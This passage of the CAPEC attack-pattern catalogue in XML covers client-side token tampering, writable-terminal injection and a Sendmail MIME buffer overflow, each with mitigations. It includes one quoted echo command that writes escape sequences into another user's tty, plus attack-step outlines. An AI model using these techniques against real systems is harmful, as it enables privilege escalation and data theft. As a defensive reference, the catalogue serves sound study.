			<Solution_or_Mitigation>Get your Public Key signed by a Certificate Authority</Solution_or_Mitigation>
			<Solution_or_Mitigation>Encrypt your communication using cryptography (SSL,...)</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use Strong mutual authentication to always fully authenticate both ends of any communications channel.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Exchange public keys using a secure channel</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Data Modification</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>A certificate binds an identity to a cryptographic key to authenticate a communicating party. Often, the certificate takes the encrypted form of the hash of the identity of the subject, the public key, and information such as time of issue or expiration using the issuer's private key. The certificate can be validated by deciphering the certificate with the issuer's public key. See also X.509 certificate signature chains and the PGP certification structure.</Context_Description>
		<Injection_Vector>The captured or modified data in transit</Injection_Vector>
		<Payload>The new value of the data or the replay of the same data (e.g. credential)</Payload>
		<Activation_Zone>The messages exchanged between the two target hosts.</Activation_Zone>
		<Payload_Activation_Impact>Privilege escalation. modification of resource, information leakage, etc.</Payload_Activation_Impact>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>300</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>290</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>593</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>287</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>294</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>724</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Security_Principles>
			<Related_Security_Principle>Complete Mediation</Related_Security_Principle>
		</Related_Security_Principles>
		<Purpose>Exploitation</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>High</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>CWE - Man-in-the-middle (MITM)</Reference>
			<Reference>M. Bishop. Computer Security: Art and Science. Addison-Wesley, 2003.</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>Sean Barnum</Submitter>
				<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
				<Submission_Date>2007-03-25</Submission_Date>
				<Submission_Comment>Identified priority for pattern creation</Submission_Comment>
			</Submission>
			<Modification>
				<Modifier>Eric Dalci</Modifier>
				<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
				<Modification_Date>2007-03-25</Modification_Date>
				<Modification_Comment>Fleshed out content for pattern</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-16</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="39" Name="Manipulating Opaque Client-based Data Tokens" Pattern_Abstraction="Standard">
		<Description>
			<Summary>In circumstances where an application holds important data client-side in tokens (cookies, URLs, data files, and so forth) that data can be manipulated. If client or server-side application components reinterpret that data as authentication tokens or data (such as store item pricing or wallet information) then even opaquely manipulating that data may bear fruit for an Attacker. In this pattern an attacker undermines the assumption that client side tokens have been adequately protected from tampering through use of encryption or obfuscation.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="Explore">
					<Attack_Step>
						<Attack_Step_Title>Enumerate information passed to client side</Attack_Step_Title>
						<Attack_Step_Description>The attacker identifies the parameters used as part of tokens to take business or security decisions</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Use WebScarab to reveal hidden fields while browsing.</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Use a sniffer to capture packets</Attack_Step_Technique_Description>
							<Environments>env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>View source of web page to find hidden fields</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Examine URL to see if any opaque tokens are in it</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Disassemble or decompile client-side application</Attack_Step_Technique_Description>
							<Environments>env-ClientServer env-Peer2Peer</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Use debugging tools such as File Monitor, Registry Monitor, Debuggers, etc.</Attack_Step_Technique_Description>
							<Environments>env-ClientServer env-Peer2Peer</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c39s1i1" type="Positive">
							<Indicator_Description>Opaque hidden form fields in a web page</Indicator_Description>
							<Environments>env-Web</Environments>
						</Indicator>
						<Indicator ID="c39s1i2" type="Positive">
							<Indicator_Description>Opaque session tokens/tickets</Indicator_Description>
							<Environments>env-Web env-Peer2Peer env-ClientServer env-CommProtocol</Environments>
						</Indicator>
						<Indicator ID="c39s1i3" type="Positive">
							<Indicator_Description>Opaque protocol fields</Indicator_Description>
							<Environments>env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Indicator>
						<Indicator ID="c39s1i4" type="Positive">
							<Indicator_Description>Opaque Resource Locator</Indicator_Description>
							<Environments>env-Web env-Peer2Peer env-ClientServer env-CommProtocol</Environments>
						</Indicator>
						<Outcome ID="c39s1o1" type="Success">At least one opaque client-side token found</Outcome>
						<Outcome ID="c39s1o2" type="Failure">No opaque client-side tokens found</Outcome>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Title>Determine protection mechanism for opaque token</Attack_Step_Title>
						<Attack_Step_Description>The attacker determines the protection mechanism used to protect the confidentiality and integrity of these data tokens.  They may may be obfuscated or a full blown encryption may be used.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Look for signs of well-known character encodings</Attack_Step_Technique_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Look for cryptographic signatures</Attack_Step_Technique_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Look for delimiters or other indicators of structure</Attack_Step_Technique_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c39s2i1" type="Positive">
							<Indicator_Description>Standard signatures of well-known encodings detected</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Indicator>
						<Indicator ID="c39s2i2" type="Positive">
							<Indicator_Description>Token or structural block's length being multiple of well-known block size of a cryptographic algorithm</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Indicator>
						<Indicator ID="c39s2i3" type="Positive">
							<Indicator_Description>Clear structural boundaries or delimiters</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Indicator>
						<Indicator ID="c39s2i4" type="Negative">
							<Indicator_Description>Failure outcome in previous step</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Indicator>
						<Outcome ID="c39s2o1" type="Success">Protection/encoding scheme identified</Outcome>
						<Outcome ID="c39s2o2" type="Failure">No information about protection/encoding scheme could not be determined</Outcome>
					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Experiment">
					<Attack_Step>
						<Attack_Step_Title>Modify parameter/token values</Attack_Step_Title>
						<Attack_Step_Description>Trying each parameter in turn, the attacker modifies the values</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Modify tokens logically</Attack_Step_Technique_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Modify tokens arithmetically</Attack_Step_Technique_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Modify tokens bitwise</Attack_Step_Technique_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Modify structural components of tokens</Attack_Step_Technique_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Modify order of parameters/tokens</Attack_Step_Technique_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c39s3i1" type="Positive">
							<Indicator_Description>Success outcome in first step.</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Indicator>
						<Indicator ID="c39s3i2" type="Negative">
							<Indicator_Description>Failure outcome in first step</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Indicator>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Title>Cycle through values for each parameter.</Attack_Step_Title>
						<Attack_Step_Description>Depending on the nature of the application, the attacker now cycles through values of each parameter and observes the effects of this modification in the data returned by the server</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Use network-level packet injection tools such as netcat</Attack_Step_Technique_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Use application-level data modification tools such as Tamper Data, WebScarab, TamperIE, etc.</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Use modified client (modified by reverse engineering)</Attack_Step_Technique_Description>
							<Environments>env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Use debugging tools to modify data in client</Attack_Step_Technique_Description>
							<Environments>env-ClientServer env-Peer2Peer</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c39s4i1" type="Positive">
							<Indicator_Description>Success outcome in first step</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Indicator>
						<Indicator ID="c39s4i2" type="Negative">
							<Indicator_Description>Failure outcome in first step</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Indicator>
						<Outcome ID="c39s4o1" type="Success">Subversion of security controls on server</Outcome>
						<Outcome ID="c39s4o2" type="Failure">Client token reset by server</Outcome>
						<Outcome ID="c39s4o3" type="Inconclusive">Detailed error message describing problem with token, received from server</Outcome>
						<Security_Control ID="c39s4sc1" type="Detective">Unexpected/invalid token/parameter value in application logs on server</Security_Control>
						<Security_Control ID="c39s4sc2" type="Corrective">Reset session upon receipt of unexpected/invalid token/parameter value</Security_Control>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>An attacker already has some access to the system or can steal the client based data tokens from another user who has access to the system.</Attack_Prerequisite>
			<Attack_Prerequisite>For an Attacker to viably execute this attack, some data (later interpreted by the application) must be held client-side in a way that can be manipulated without detection. This means that the data or tokens are not CRCd as part of their value or through a separate meta-data store elsewhere.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>Medium</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>Very High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Modification of Resources</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>With certain price watching websites, that aggregate products available prices, the user can buy items through whichever vendors has product availability, the best price, or other differentiator. Once a user selects an item, the site must broker the purchase of that item with the vendor. Because vendors sell the same product through different channel partners at different prices, token exchange between price watching sites and selling vendors will often contain pricing information.	With some price watching sites, manipulating URL-data (which is encrypted) even opaquely yields different prices charged by the fulfilling vendor. If the manipulated price turns	out higher, the Attacker can cancel purchase. If the Attacker succeeded in manipulating the token and creating a lower price, he/she proceeds.</Example-Instance_Description>
			</Example-Instance>
			<Example-Instance>
				<Example-Instance_Description>Upon successful authentication user is granted an encrypted authentication cookie by the server and it is stored on the client.  One piece of information stored in the authentication cookie reflects the access level of the user (e.g. "u" for user).  The authentication cookie is encrypted using the Electronic Code Book (ECB) mode, that naively encrypts each of the plaintext blocks to each of the ciphertext blocks separately.  An attacker knows the structure of the cookie and can figure out what bits (encrypted) store the information relating to the access level of the user.  An attacker modifies the authentication cookie and effectively substitutes "u" for "a" by flipping some of the corresponding bits of ciphertext (trial and error).  Once the correct "flip" is found, when the system is accessed, the attacker is granted administrative privileges in the system.  Note that in this case an attacker did not have to figure out the exact encryption algorithm or find the secret key, but merely exploit the weakness inherent in using the ECB encryption mode.</Example-Instance_Description>
			</Example-Instance>
			<Example-Instance>
				<Example-Instance_Description>Archangel Weblog 0.90.02 allows remote attackers to bypass authentication by setting the ba_admin cookie to 1.</Example-Instance_Description>
				<Example-Instance_Related_Vulnerability>CVE-2006-0944</Example-Instance_Related_Vulnerability>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Medium:  If the client site token is obfuscated.
			High:  If the client site token is encrypted.</Attacker_Skill_or_Knowledge_Required>
		<Resources_Required>The Attacker needs no special hardware-based resources in order to conduct this attack. Software plugins, such as Tamper Data for Firefox, may help in manipulating URL- or cookie-based data.</Resources_Required>
		<Probing_Techniques>
			<Probing_Technique>Tamper with the client side data token and observe the effects it has on interaction with the system.</Probing_Technique>
			<Probing_Technique>This attack is in and of itself a trial-and-error-based probing technique.</Probing_Technique>
		</Probing_Techniques>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>One solution to this problem is to protect encrypted data with a CRC of some sort. If knowing who last manipulated the data is important, then using	a cryptographic "message authentication code" (or hMAC) is prescribed. However, this guidance is not a panecea. In particular, any value created by (and therefore encrypted by) the client, which itself is a "malicous" value, all the protective cryptography in the world can't make the value 'correct' again. Put simply, if the client has control over the whole process of generating and encoding the value--then simply protecting its integrity doesn't help.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Make sure to protect client side authentication tokens for confidentiality (encryption) and integrity (signed hash)</Solution_or_Mitigation>
			<Solution_or_Mitigation>Make sure that all session tokens use a good source of randomness</Solution_or_Mitigation>
			<Solution_or_Mitigation>Perform validation on the server side to make sure that client side data tokens are consistent with what is expected.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Data Modification</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>The context in which this attack can operate is any circumstance in which important data, stored client-side, is reinterpreted by the client itself or a server-side component. The server-side component may or may not be the same system that produced the data (it is not in the given example instance). But, in all cases, the data stored is protected through some means--such as encryption. However, it's important to stipulate that the means used to protect this data does not employ an effetive integrity check.</Context_Description>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>353</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>285</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>302</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>472</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>565</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>315</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>539</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>384</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>233</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Attack_Patterns>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>31</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>More Abstract</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>22</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>More Detailed</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
		</Related_Attack_Patterns>
		<Relevant_Security_Requirements>
			<Relevant_Security_Requirement>Sensitive information stored client side must be integrity checked upon return before use</Relevant_Security_Requirement>
		</Relevant_Security_Requirements>
		<Related_Security_Principles>
			<Related_Security_Principle>Reluctance to Trust</Related_Security_Principle>
			<Related_Security_Principle>Never Assuming that your Secrets are Safe</Related_Security_Principle>
			<Related_Security_Principle>Least Privilege</Related_Security_Principle>
			<Related_Security_Principle>Complete Mediation</Related_Security_Principle>
		</Related_Security_Principles>
		<Related_Guidelines>
			<Related_Guideline>Never Use Unvalidated Input as Part of a Directive to any Internal Component</Related_Guideline>
		</Related_Guidelines>
		<Purpose>Penetration</Purpose>
		<Purpose>Exploitation</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>Low</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<Source>
			<Submission>
				<Submitter>John Steven</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-02-10</Submission_Date>
				<Submission_Comment>Initial core pattern content</Submission_Comment>
			</Submission>
			<Modification>
				<Modifier>Chiradeep B. Chhaya</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-23</Modification_Date>
				<Modification_Comment>Fleshed out pattern with extra content</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Eugene Lebanidze</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-27</Modification_Date>
				<Modification_Comment>Added new examples and other content</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Solutions and Related Attack Patterns</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Amit Sethi</Modifier>
				<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
				<Modification_Date>2007-10-29</Modification_Date>
				<Modification_Comment>Added extended Attack Execution Flow</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="40" Name="Manipulating Writeable Terminal Devices" Pattern_Abstraction="Detailed">
		<Description>
			<Summary>This attack exploits terminal devices that allow themselves to be written to by other users.  The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.</Summary>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>User terminals must have a permissive access control such as world writeable that allows normal users to control data on other user's terminals.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>Very High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Injection</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>Any system that allows other peers to write directly to its terminal process is vulnerable to this type of attack. If the terminals are available through being overprivileged (i.e. world-writable) or the attacker is an administrator, then a series of commands in this format can be used to echo commands out to victim terminals.
					
					"$echo -e "\033[30m\033\132" > /dev/ttyXX
					
					where XX is the tty number of the user under attack. This will paste the characters to another terminal (tty). Note this technique works only if the victim's tty is world writable (which it may not be). That is one reason why programs like write(1) and talk(1) in UNIX systems need to run setuid."	[Hoglund and McGraw 04]
					
					If the victim continues to hit "enter" and execute the commands, there are an endless supply of vectors available to the attacker, copying files, open up network connections, ftp out to servers, and so on.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low</Attacker_Skill_or_Knowledge_Required>
		<Resources_Required>Access to a terminal on the target network</Resources_Required>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Design: Ensure that terminals are only writeable by named owner user and/or administrator</Solution_or_Mitigation>
			<Solution_or_Mitigation>Design: Enforce principle of least privilege</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Run Arbitrary Code</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Injection_Vector>Payload delivered through standard user terminal.</Injection_Vector>
		<Payload>Command(s) executed directly on host, in other victim's terminal</Payload>
		<Activation_Zone>Multi-user host</Activation_Zone>
		<Payload_Activation_Impact>Enables attacker to execute server side code with any commands that the program owner has privileges to.</Payload_Activation_Impact>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>306</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>74</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Purpose>Exploitation</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>Low</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>Mainframe</Architectural_Paradigm>
			<Framework>Other</Framework>
			<Platform>UNIX-LINUX</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-01-01</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Gunnar Peterson</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-28</Modification_Date>
				<Modification_Comment>Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software"</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-09</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Name, Description and Examples</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="42" Name="MIME Conversion" Pattern_Abstraction="Detailed">
		<Description>
			<Summary>An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine.  The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="">
					<Attack_Step>
						<Attack_Step_Description>Determine whether the mail server is unpatched and is potentially vulnerable to one of the known MIME conversion buffer overflows (e.g. Sendmail 8.8.3 and 8.8.4).</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>Identify places in the system where vulnerable MIME conversion routines may be used.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>Send e-mail messages to the target system with specially crafted headers that trigger the buffer overflow and execute the shellcode.</Attack_Step_Description>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>The target system uses a mail server.</Attack_Prerequisite>
			<Attack_Prerequisite>Mail server vendor has not released a patch for the MIME conversion routine, the patch itself has a security hole or does not fix the original problem, or the patch has not been applied to the user's system.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Injection</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>Attack Example: Sendmail Overflow

				A MIME conversion buffer overflow exists in Sendmail versions 8.8.3 and 8.8.4.  Sendmail versions 8.8.3 and 8.8.4 are vulnerable to a buffer overflow in the MIME handling code. By sending a message with specially-crafted headers to the server, a remote attacker can overflow a buffer and execute arbitrary commands on the system with root privileges.
				
				Sendmail performs a 7 bit to 8 bit conversion on email messages.  This vulnerability is due to the fact that insufficient bounds checking was performed while performing these conversions.  This gave attacker an opportunity to overwrite the internal stack of sendmail while it is executing with root privileges.  An attacker first probes the target system to figure out what mail server is used on the system and what version.  An attacker could then test out the exploit at their leisure on their own machine running the same version of the mail server before using it in the wild.</Example-Instance_Description>
				<Example-Instance_Related_Vulnerability>CVE-1999-0047</Example-Instance_Related_Vulnerability>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low:  It may be trivial to cause a DoS via this attack pattern
			High:  Causing arbitrary code to execute on the target system.</Attacker_Skill_or_Knowledge_Required>
		<Probing_Techniques>
			<Probing_Technique>The first step is to figure what mail server (and what version) is running on the target system.</Probing_Technique>
		</Probing_Techniques>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Stay up to date with third party vendor patches</Solution_or_Mitigation>
			<Solution_or_Mitigation>Disable the 7 to 8 bit conversion.  This can be done by removing the F=9 flag from all Mailer specifications in the sendmail.cf file.  
				
			For example, a sendmail.cf file with these changes applied should look similar to (depending on your system and configuration):

			Mlocal,    P=/usr/libexec/mail.local, F=lsDFMAw5:/|@qrmn, S=10/30, R=20/40,
			           T=DNS/RFC822/X-Unix,
			           A=mail -d $u
			Mprog,     P=/bin/sh, F=lsDFMoqeu, S=10/30, R=20/40,
			           D=$z:/,
			           T=X-Unix,
			           A=sh -c $u

			This can be achieved for the "Mlocal" and "Mprog" Mailers by modifying the ".mc" file to include the following lines:

			define(`LOCAL_MAILER_FLAGS',
			    ifdef(`LOCAL_MAILER_FLAGS',
			        `translit(LOCAL_MAILER_FLAGS, `9')',
			        `rmn'))
			define(`LOCAL_SHELL_FLAGS',
			    ifdef(`LOCAL_SHELL_FLAGS',
			        `translit(LOCAL_SHELL_FLAGS, `9')',
			        `eu'))

			and then rebuilding the sendmail.cf file using m4(1).
			
			From "Exploiting Software", please see reference below.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use the sendmail restricted shell program (smrsh)</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use mail.local</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
